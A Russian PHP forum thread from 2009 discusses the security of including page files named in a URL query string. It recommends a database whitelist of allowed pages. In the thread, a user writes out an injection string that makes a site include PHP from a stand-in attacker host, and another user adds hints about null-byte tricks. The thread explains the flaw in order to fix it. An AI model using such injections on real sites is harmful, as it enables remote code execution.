|
|
|
|
|
для: belvision
(05.04.2009 в 21:42)
| | Все достаточно просто:
БД
---
id | url | name | file
1 | news | новости | news.php
2 | catalog | каталог | catalog123.php
В качестве GET-параметра передаешь не имя файла, а его идентификатор (url), потом это название ищится в базе данных среди всех доступных файлов, если оно есть, то подключается соответсвующий файл. | |
|
|
|
|
|
|
|
для: cheops
(05.04.2009 в 18:21)
| | Спасибо за анализ, если не трудно напишите хотябы защитить этот код или может другой вариант разделения дизайна и наполнения с такими же функциями | |
|
|
|
|
|
|
|
для: belvision
(05.04.2009 в 17:47)
| | Да, только, вместо hack.php следует использовать hack.txt, ну или выводить в hack.txt PHP-код в консоль и обычно манипулируют нулевым байтом - признаком конца строки. А так да, это уязвимость, для формирования пути в include() лучше вообще не использовать данные поступаемые из вне, чтобы случайно не оставить дыру, позволяющие выполнять произвольный PHP-код. | |
|
|
|
|
|
|
|
для: cheops
(13.02.2009 в 19:53)
| | А если я вместо имени файла подставлю в запросе такую строку?Код
;include("http://my_hacking_site.ru/hack.php");$file=
В результате на сайте отработает код:PHP
$file="txt/";
include("http://my_hacking_site.ru/hack.php");
$file=".htm";
можно ли назвать этот пример действительно дырой? | |
|
|
|
|
|
|
|
для: belvision
(13.02.2009 в 17:11)
| | Вообще basename() не должен позволять выполнять эксплоиты на вашем сайте, но использование переменных, формируемых с использованием внешних данных, считается плохим тоном. Здесь проверка стоит, в следующий раз её можно забыть поставить - появится дыра, а злоумышленники такие дыры зачастую ищут автоматическими средствами. | |
|
|
|
|
|
|
|
для: Trianon
(11.02.2009 в 23:57)
| | Так подскажите пожалуйста как это доработать чтобы было безопасно и интерестно каких эксплойтов и чем это реально грозит. | |
|
|
|
|
|
|
|
для: belvision
(11.02.2009 в 23:22)
| | Вам эксплойтов тут же насуют чрез это решение.
[поправлено модератором] | |
|
|
|
|
|
|
|
для: Trianon
(11.02.2009 в 22:40)
| | Вот ребята подсказали гениальное решение этой проблемы http://phpfaq.ru/easy/?code
Этот сайт построен на основе навороченной CMS
все страницы хранятся в каталоге txt и имеют расширение .html чтобы показать страницу, надо обратиться к сайту, в качестве query string указав имя файла без расширения
например: /index.php?about или просто /?about
<b><center><a href="index.php">главная</a>
<a href=?about>обо мне</a>
<a href=?links>ссылки</a>
<a href=?code>Код этого скрипта</a>
</center></b>
<br><br>
<?
if (empty($_SERVER['QUERY_STRING'])) {
$name="index";
} else {
$name=basename($_SERVER['QUERY_STRING']);
}
$file="txt/".$name.".htm";
if (is_readable($file)) {
readfile($file);
} else {
echo "<br>Запрошенный вами файл не найден<br>";
}
?> | |
|
|
|
|
|
|
|
для: belvision
(11.02.2009 в 22:32)
| | а зачем?
Зачем пытаться дорабатывать именно этот дерь... сырь... код? | |
|
|
|
|
|
|
|
для: AcidTrash
(11.02.2009 в 22:25)
| | Подскажите как доработать код то есть как определить переменную чтобы всё заработало | |
|
|
|
|